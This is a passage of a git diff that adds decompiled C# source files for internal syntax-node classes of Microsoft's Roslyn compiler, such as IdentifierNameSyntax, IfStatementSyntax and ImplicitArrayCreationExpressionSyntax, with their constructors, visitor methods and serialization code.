ObjectBinder.RegisterTypeReader(typeof(GroupClauseSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new GroupClauseSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/IdentifierNameSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/IdentifierNameSyntax.cs new file mode 100644 index 0000000..39f242a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/IdentifierNameSyntax.cs @@ -0,0 +1,116 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class IdentifierNameSyntax : SimpleNameSyntax +{ + internal readonly SyntaxToken identifier; + + public override SyntaxToken Identifier => identifier; + + public override string ToString() + { + return Identifier.Text; + } + + internal IdentifierNameSyntax(SyntaxKind kind, SyntaxToken identifier, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + } + + internal IdentifierNameSyntax(SyntaxKind kind, SyntaxToken identifier, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + } + + internal IdentifierNameSyntax(SyntaxKind kind, SyntaxToken identifier) + : base(kind) + { + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + } + + internal override GreenNode? GetSlot(int index) + { + if (index != 0) + { + return null; + } + return (GreenNode?)(object)identifier; + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.IdentifierNameSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitIdentifierName(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitIdentifierName(this); + } + + public IdentifierNameSyntax Update(SyntaxToken identifier) + { + if (identifier != Identifier) + { + IdentifierNameSyntax identifierNameSyntax = SyntaxFactory.IdentifierName(identifier); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + identifierNameSyntax = GreenNodeExtensions.WithDiagnosticsGreen(identifierNameSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + identifierNameSyntax = GreenNodeExtensions.WithAnnotationsGreen(identifierNameSyntax, (IEnumerable)annotations); + } + return identifierNameSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new IdentifierNameSyntax(base.Kind, identifier, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new IdentifierNameSyntax(base.Kind, identifier, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal IdentifierNameSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 1; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + identifier = syntaxToken; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)identifier); + } + + static IdentifierNameSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(IdentifierNameSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new IdentifierNameSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/IfDirectiveTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/IfDirectiveTriviaSyntax.cs new file mode 100644 index 0000000..7b01f6c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/IfDirectiveTriviaSyntax.cs @@ -0,0 +1,183 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class IfDirectiveTriviaSyntax : ConditionalDirectiveTriviaSyntax +{ + internal readonly SyntaxToken hashToken; + + internal readonly SyntaxToken ifKeyword; + + internal readonly ExpressionSyntax condition; + + internal readonly SyntaxToken endOfDirectiveToken; + + internal readonly bool isActive; + + internal readonly bool branchTaken; + + internal readonly bool conditionValue; + + public override SyntaxToken HashToken => hashToken; + + public SyntaxToken IfKeyword => ifKeyword; + + public override ExpressionSyntax Condition => condition; + + public override SyntaxToken EndOfDirectiveToken => endOfDirectiveToken; + + public override bool IsActive => isActive; + + public override bool BranchTaken => branchTaken; + + public override bool ConditionValue => conditionValue; + + internal IfDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken ifKeyword, ExpressionSyntax condition, SyntaxToken endOfDirectiveToken, bool isActive, bool branchTaken, bool conditionValue, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)ifKeyword); + this.ifKeyword = ifKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)condition); + this.condition = condition; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + this.branchTaken = branchTaken; + this.conditionValue = conditionValue; + } + + internal IfDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken ifKeyword, ExpressionSyntax condition, SyntaxToken endOfDirectiveToken, bool isActive, bool branchTaken, bool conditionValue, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)ifKeyword); + this.ifKeyword = ifKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)condition); + this.condition = condition; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + this.branchTaken = branchTaken; + this.conditionValue = conditionValue; + } + + internal IfDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken ifKeyword, ExpressionSyntax condition, SyntaxToken endOfDirectiveToken, bool isActive, bool branchTaken, bool conditionValue) + : base(kind) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)ifKeyword); + this.ifKeyword = ifKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)condition); + this.condition = condition; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + this.branchTaken = branchTaken; + this.conditionValue = conditionValue; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => hashToken, + 1 => ifKeyword, + 2 => condition, + 3 => endOfDirectiveToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.IfDirectiveTriviaSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitIfDirectiveTrivia(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitIfDirectiveTrivia(this); + } + + public IfDirectiveTriviaSyntax Update(SyntaxToken hashToken, SyntaxToken ifKeyword, ExpressionSyntax condition, SyntaxToken endOfDirectiveToken, bool isActive, bool branchTaken, bool conditionValue) + { + if (hashToken != HashToken || ifKeyword != IfKeyword || condition != Condition || endOfDirectiveToken != EndOfDirectiveToken) + { + IfDirectiveTriviaSyntax ifDirectiveTriviaSyntax = SyntaxFactory.IfDirectiveTrivia(hashToken, ifKeyword, condition, endOfDirectiveToken, isActive, branchTaken, conditionValue); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + ifDirectiveTriviaSyntax = GreenNodeExtensions.WithDiagnosticsGreen(ifDirectiveTriviaSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + ifDirectiveTriviaSyntax = GreenNodeExtensions.WithAnnotationsGreen(ifDirectiveTriviaSyntax, (IEnumerable)annotations); + } + return ifDirectiveTriviaSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new IfDirectiveTriviaSyntax(base.Kind, hashToken, ifKeyword, condition, endOfDirectiveToken, isActive, branchTaken, conditionValue, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new IfDirectiveTriviaSyntax(base.Kind, hashToken, ifKeyword, condition, endOfDirectiveToken, isActive, branchTaken, conditionValue, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal IfDirectiveTriviaSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 4; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + hashToken = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + ifKeyword = syntaxToken2; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + condition = expressionSyntax; + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + endOfDirectiveToken = syntaxToken3; + isActive = reader.ReadBoolean(); + branchTaken = reader.ReadBoolean(); + conditionValue = reader.ReadBoolean(); + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)hashToken); + writer.WriteValue((IObjectWritable)(object)ifKeyword); + writer.WriteValue((IObjectWritable)(object)condition); + writer.WriteValue((IObjectWritable)(object)endOfDirectiveToken); + writer.WriteBoolean(isActive); + writer.WriteBoolean(branchTaken); + writer.WriteBoolean(conditionValue); + } + + static IfDirectiveTriviaSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(IfDirectiveTriviaSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new IfDirectiveTriviaSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/IfStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/IfStatementSyntax.cs new file mode 100644 index 0000000..95b3333 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/IfStatementSyntax.cs @@ -0,0 +1,231 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class IfStatementSyntax : StatementSyntax +{ + internal readonly GreenNode? attributeLists; + + internal readonly SyntaxToken ifKeyword; + + internal readonly SyntaxToken openParenToken; + + internal readonly ExpressionSyntax condition; + + internal readonly SyntaxToken closeParenToken; + + internal readonly StatementSyntax statement; + + internal readonly ElseClauseSyntax? @else; + + public override SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public SyntaxToken IfKeyword => ifKeyword; + + public SyntaxToken OpenParenToken => openParenToken; + + public ExpressionSyntax Condition => condition; + + public SyntaxToken CloseParenToken => closeParenToken; + + public StatementSyntax Statement => statement; + + public ElseClauseSyntax? Else => @else; + + internal IfStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken ifKeyword, SyntaxToken openParenToken, ExpressionSyntax condition, SyntaxToken closeParenToken, StatementSyntax statement, ElseClauseSyntax? @else, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 7; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)ifKeyword); + this.ifKeyword = ifKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)condition); + this.condition = condition; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)statement); + this.statement = statement; + if (@else != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)@else); + this.@else = @else; + } + } + + internal IfStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken ifKeyword, SyntaxToken openParenToken, ExpressionSyntax condition, SyntaxToken closeParenToken, StatementSyntax statement, ElseClauseSyntax? @else, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 7; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)ifKeyword); + this.ifKeyword = ifKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)condition); + this.condition = condition; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)statement); + this.statement = statement; + if (@else != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)@else); + this.@else = @else; + } + } + + internal IfStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken ifKeyword, SyntaxToken openParenToken, ExpressionSyntax condition, SyntaxToken closeParenToken, StatementSyntax statement, ElseClauseSyntax? @else) + : base(kind) + { + ((GreenNode)this).SlotCount = 7; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)ifKeyword); + this.ifKeyword = ifKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)condition); + this.condition = condition; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)statement); + this.statement = statement; + if (@else != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)@else); + this.@else = @else; + } + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => ifKeyword, + 2 => openParenToken, + 3 => condition, + 4 => closeParenToken, + 5 => statement, + 6 => @else, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.IfStatementSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitIfStatement(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitIfStatement(this); + } + + public IfStatementSyntax Update(SyntaxList attributeLists, SyntaxToken ifKeyword, SyntaxToken openParenToken, ExpressionSyntax condition, SyntaxToken closeParenToken, StatementSyntax statement, ElseClauseSyntax @else) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || ifKeyword != IfKeyword || openParenToken != OpenParenToken || condition != Condition || closeParenToken != CloseParenToken || statement != Statement || @else != Else) + { + IfStatementSyntax ifStatementSyntax = SyntaxFactory.IfStatement(attributeLists, ifKeyword, openParenToken, condition, closeParenToken, statement, @else); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + ifStatementSyntax = GreenNodeExtensions.WithDiagnosticsGreen(ifStatementSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + ifStatementSyntax = GreenNodeExtensions.WithAnnotationsGreen(ifStatementSyntax, (IEnumerable)annotations); + } + return ifStatementSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new IfStatementSyntax(base.Kind, attributeLists, ifKeyword, openParenToken, condition, closeParenToken, statement, @else, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new IfStatementSyntax(base.Kind, attributeLists, ifKeyword, openParenToken, condition, closeParenToken, statement, @else, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal IfStatementSyntax(ObjectReader reader) + : base(reader) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 7; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + ifKeyword = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + openParenToken = syntaxToken2; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + condition = expressionSyntax; + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + closeParenToken = syntaxToken3; + StatementSyntax statementSyntax = (StatementSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)statementSyntax); + statement = statementSyntax; + ElseClauseSyntax elseClauseSyntax = (ElseClauseSyntax)reader.ReadValue(); + if (elseClauseSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)elseClauseSyntax); + @else = elseClauseSyntax; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)ifKeyword); + writer.WriteValue((IObjectWritable)(object)openParenToken); + writer.WriteValue((IObjectWritable)(object)condition); + writer.WriteValue((IObjectWritable)(object)closeParenToken); + writer.WriteValue((IObjectWritable)(object)statement); + writer.WriteValue((IObjectWritable)(object)@else); + } + + static IfStatementSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(IfStatementSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new IfStatementSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ImplicitArrayCreationExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ImplicitArrayCreationExpressionSyntax.cs new file mode 100644 index 0000000..5823b16 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ImplicitArrayCreationExpressionSyntax.cs @@ -0,0 +1,189 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class ImplicitArrayCreationExpressionSyntax : ExpressionSyntax +{ + internal readonly SyntaxToken newKeyword; + + internal readonly SyntaxToken openBracketToken; + + internal readonly GreenNode? commas; + + internal readonly SyntaxToken closeBracketToken; + + internal readonly InitializerExpressionSyntax initializer; + + public SyntaxToken NewKeyword => newKeyword; + + public SyntaxToken OpenBracketToken => openBracketToken; + + public SyntaxList Commas => new SyntaxList(commas); + + public SyntaxToken CloseBracketToken => closeBracketToken; + + public InitializerExpressionSyntax Initializer => initializer; + + internal ImplicitArrayCreationExpressionSyntax(SyntaxKind kind, SyntaxToken newKeyword, SyntaxToken openBracketToken, GreenNode? commas, SyntaxToken closeBracketToken, InitializerExpressionSyntax initializer, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 5; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)newKeyword); + this.newKeyword = newKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBracketToken); + this.openBracketToken = openBracketToken; + if (commas != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(commas); + this.commas = commas; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBracketToken); + this.closeBracketToken = closeBracketToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)initializer); + this.initializer = initializer; + } + + internal ImplicitArrayCreationExpressionSyntax(SyntaxKind kind, SyntaxToken newKeyword, SyntaxToken openBracketToken, GreenNode? commas, SyntaxToken closeBracketToken, InitializerExpressionSyntax initializer, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 5; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)newKeyword); + this.newKeyword = newKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBracketToken); + this.openBracketToken = openBracketToken; + if (commas != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(commas); + this.commas = commas; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBracketToken); + this.closeBracketToken = closeBracketToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)initializer); + this.initializer = initializer; + } + + internal ImplicitArrayCreationExpressionSyntax(SyntaxKind kind, SyntaxToken newKeyword, SyntaxToken openBracketToken, GreenNode? commas, SyntaxToken closeBracketToken, InitializerExpressionSyntax initializer) + : base(kind) + { + ((GreenNode)this).SlotCount = 5; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)newKeyword); + this.newKeyword = newKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBracketToken); + this.openBracketToken = openBracketToken; + if (commas != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(commas); + this.commas = commas; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBracketToken); + this.closeBracketToken = closeBracketToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)initializer); + this.initializer = initializer; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => newKeyword, + 1 => openBracketToken, + 2 => commas, + 3 => closeBracketToken, + 4 => initializer, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.ImplicitArrayCreationExpressionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitImplicitArrayCreationExpression(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitImplicitArrayCreationExpression(this); + } + + public ImplicitArrayCreationExpressionSyntax Update(SyntaxToken newKeyword, SyntaxToken openBracketToken, SyntaxList commas, SyntaxToken closeBracketToken, InitializerExpressionSyntax initializer) + { + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + if (newKeyword != NewKeyword || openBracketToken != OpenBracketToken || commas != Commas || closeBracketToken != CloseBracketToken || initializer != Initializer) + { + ImplicitArrayCreationExpressionSyntax implicitArrayCreationExpressionSyntax = SyntaxFactory.ImplicitArrayCreationExpression(newKeyword, openBracketToken, commas, closeBracketToken, initializer); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + implicitArrayCreationExpressionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(implicitArrayCreationExpressionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + implicitArrayCreationExpressionSyntax = GreenNodeExtensions.WithAnnotationsGreen(implicitArrayCreationExpressionSyntax, (IEnumerable)annotations); + } + return implicitArrayCreationExpressionSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new ImplicitArrayCreationExpressionSyntax(base.Kind, newKeyword, openBracketToken, commas, closeBracketToken, initializer, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new ImplicitArrayCreationExpressionSyntax(base.Kind, newKeyword, openBracketToken, commas, closeBracketToken, initializer, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal ImplicitArrayCreationExpressionSyntax(ObjectReader reader) + : base(reader) + { + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 5; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + newKeyword = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + openBracketToken = syntaxToken2; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + commas = val; + } + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + closeBracketToken = syntaxToken3; + InitializerExpressionSyntax initializerExpressionSyntax = (InitializerExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)initializerExpressionSyntax); + initializer = initializerExpressionSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)newKeyword); + writer.WriteValue((IObjectWritable)(object)openBracketToken); + writer.WriteValue((IObjectWritable)(object)commas); + writer.WriteValue((IObjectWritable)(object)closeBracketToken); + writer.WriteValue((IObjectWritable)(object)initializer); + } + + static ImplicitArrayCreationExpressionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(ImplicitArrayCreationExpressionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new ImplicitArrayCreationExpressionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ImplicitElementAccessSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ImplicitElementAccessSyntax.cs new file mode 100644 index 0000000..5d10e16 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ImplicitElementAccessSyntax.cs @@ -0,0 +1,111 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class ImplicitElementAccessSyntax : ExpressionSyntax +{ + internal readonly BracketedArgumentListSyntax argumentList; + + public BracketedArgumentListSyntax ArgumentList => argumentList; + + internal ImplicitElementAccessSyntax(SyntaxKind kind, BracketedArgumentListSyntax argumentList, 